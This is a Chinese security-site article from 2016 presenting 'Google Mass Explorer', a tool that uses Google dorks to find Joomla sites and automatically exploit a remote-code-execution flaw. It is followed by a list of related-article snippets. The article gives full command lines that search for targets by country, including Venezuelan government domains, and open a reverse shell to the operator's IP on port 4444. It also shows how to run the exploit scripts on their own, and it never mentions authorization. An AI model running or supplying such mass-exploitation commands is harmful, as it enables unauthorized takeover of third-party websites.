好用的Google漏洞爬虫:Google Mass Explorer

标签: WEB安全 工具 exp google python3 | 发表时间:2016-11-10 09:22 | 作者:dawner
出处:http://www.freebuf.com

google_explorer.png

这是一款基于谷歌搜索引擎的自动化爬虫。

爬虫介绍

爬虫大体机制就是:

先进行一次谷歌搜索,将结果解析为特定格式,然后再提供给exp使用。

大家可以尝试使用–help来列出所有参数。

这个项目笔者会持续更新,以后再添加新的exp进行升级。此外,它会利用google_parsers模块去构建exp解析搜索结果,所以当你开始搜索时,可以选择“–exploit parser”参数来指定相应exp。

google parsers模块(google_parsers.py)以后还会继续优化,而现在的exp只含有joomla cve,毕竟这个项目主要是给大家自己diy使用的。但是,如果你不会弄exp,把利用exp提交给过来也行。

由于笔者平时还是比较忙,所以没有太多时间去手动搜索目标。故而,笔者尝试使用Selenium框架去造了个爬虫来搜寻测试目标。至于搜索过程中出现的Google的验证码,它需要其他库和模块来辅助解决。在项目里使用Selenium后,大家就可以在谷歌出现验证码的是时候,自行手动输入验证码,然后爬虫就可以继续爬行了。这大概是笔者能想出的最好的解决验证码防护的办法了。

简单概述下爬虫是如何工作的:

1. 执行谷歌搜索

2. 从每一页解析结果

3. 测试是否结果中含有漏洞

依赖与需求

这个项目需要python3,使用requirements安装依赖库的方法如下:

  $ sudo pip install -r requirements.txt

运行示例:

  python3 google_explorer.py --dork="site:*.com inurl:index.php?option=" --browser="chrome" --exploit_parser="joomla_15_12_2015_rce" --revshell="MY_PUBLIC_IP" --port=4444 --google_domain="google.com" --location="França" --last_update="no último mês"

在上面的例子里,笔者是在寻找法国的joomla RCE目标,使用的是google_domains.txt里面的google域名(比如google.co.uk)来作为搜索引擎,“–last_update”则代表着搜索结果的更新时间为上个月。

上面例子里的选项适用于任何语言,主要决定于google针对相应的国家给出的语法。

下面再给出一个简单的例子:

  python3 google_explorer.py --browser='chrome' --dork='site:gob.ve inurl:index.php' --location="Venezuela"

当然,这些exp也是可以单独使用的:

    

$ cd xpl_parsers

$ python joomla_cve_2015_8562.py

单独测试exp的方法:

    

$ cd exploits

$ python exploiter.py --file <vuln file>

* 参考来源: Github,FB小编dawner编译,转载请注明来自FreeBuf(FreeBuf.COM)

相关 [google 漏洞 爬虫] 推荐:

好用的Google漏洞爬虫:Google Mass Explorer

- - FreeBuf.COM | 关注黑客与极客
这是一款基于谷歌搜索引擎的自动化爬虫. 先进行一次谷歌搜索,将结果解析为特定格式,然后再提供给exp使用. 大家可以尝试使用–help来列出所有参数. 这个项目笔者会持续更新,以后再添加新的exp进行升级. 此外,它会利用google_parsers模块去构建exp解析搜索结果,所以当你开始搜索时,可以选择“–exploit parser”参数来指定相应exp.

Google 图片爬虫

- - 吴良超的学习笔记
这里的 Google 图片爬虫指的是爬取在 Google 上通过关键词搜索得到的图片,由于最近需要一些特定领域的图片,而且现有的数据库满足不了要求,因此就想通过 Google 搜索筛选出这些特定领域的图片,然后下载下来后再进行人工筛选. 这里采用了两种方法,区别在于是否需要解析网页端的 JS 代码.

快速、直接的XSS漏洞检测爬虫 – XSScrapy

- - FreeBuf.COM
XSScrapy是一个快速、直接的XSS漏洞检测爬虫,你只需要一个URL,它便可以帮助你发现XSS跨站脚本漏洞. XSScrapy的XSS漏洞攻击测试向量将会覆盖. Http头中的Referer字段 User-Agent字段 Cookie 表单(包括隐藏表单) URL参数 RUL末尾,如 www.example.com/ 跳转型XSS.

Google 爬虫们已经会执行 JavaScript 来探索更多内容了

- - 谷奥——探寻谷歌的奥秘
Ars Technica报道说,Google搜索引擎的爬虫们现在可以索引并执行网页里的JavaScript和那些隐藏在AJAX下面的内容了. Google的SEO大神Matt Cutts也在 Hacker News的报道下面留言说:. Google会继续让爬虫变得更好更聪明,包括让它们更好的执行JavaScript并探索到里面的内容.

Google Chrome 团队出绝招阻断混合脚本漏洞

- Hivan Du - 谷奥——探寻谷歌的奥秘
“混合脚本执行”漏洞通常在通过 HTTPS 传送的页面加载通过 HTTP 传送的脚本、CSS 或插件资源时出现. 中间攻击者(如处于同一无线网络的用户)通常能截取 HTTP 资源加载,并对加载资源的网站获取完全权限. 情况糟糕的话跟没用 HTTPS 一个样. 稍轻但类似的问题——暂且称之为“混合显示”漏洞——通常在通过 HTTPS 传送的页面加载通过 HTTP 传送的图像、iFrame 框架或字体时出现,但只能影响页面外观.

数个Google Chrome浏览器高危漏洞被发现

- applelen - cnBeta.COM
国家计算机网络入侵防范中心日前发现了三个存在于GoogleChrome浏览器中的安全漏洞. 经Google公司官方证实,所有安全漏洞均为“高危”等级. GoogleChrome是一款由Google公司开发的网络浏览器. 在防范中心所发现的三个安全漏洞中,有两个与XPath语言的处理有关.

Google员工发现Adobe Reader的60个漏洞

- - Solidot
HOST 写道 "Google员工Mateusz Jurczyk和Gynvael Coldwind在检查Chrome浏览器的PDF引擎时,发现了无数漏洞. 他们进一步检查了Adobe Reader,结果发现约60个可以让程序崩溃的漏洞,其中约40个可以被攻击者利用. Adobe得知消息后承诺尽快修补,但本周二发布的最新版程序仍然有16个已知漏洞存在.

Google出品:开源Web App漏洞测试环境 – Firing Range

- - FreeBuf.COM | 关注黑客与极客
Google于周二发布了一个名为Firing Range的安全漏洞测试环境,旨在通过评估Web应用在XSS和其他方面的安全性,提高自动化扫描器的效率. Firing Range是由Google与米兰理工大学的安全研究员合作开发的,目的是为自动化扫描器建造一个“试验场”. Google公司自己也在使用Firing Range,目的“一是帮助我们测试,二是定义尽可能多的漏洞类型,包括一些我们目前尚且不能检测的”.

Google发布Chrome官方扩展DOM Snitch 可发现网页代码漏洞

- 小老虎 - cnBeta.COM
Google今天发布了一个名为DOM Snitch的Chrome官方扩展,它可以让开发者和安全人士在浏览网站时自动识别出不安全的代码,这种扩展的灵感其实是来自于5周之前一家安全公司Mind Security在Firefox上的作品DOMinator,使用这种工具用户可以轻易发现例如XSS、数据泄漏等问题,并指出问题所在的代码段,帮助用户规避以及厂商发现后修补.

网络爬虫

- - 四火的唠叨
文章系本人原创,转载请保持完整性并注明出自 《四火的唠叨》. 最近在写一个程序,去爬热门事件和热门关键词网站上的数据. 网络爬虫也叫做网络蜘蛛,是一种互联网机器人,把需要的网页撷取下来,组织成适当格式存储. 它是搜索引擎的重要组成部分,虽然从技术实现上来说,它的难度往往要小于对于得到的网页信息的处理.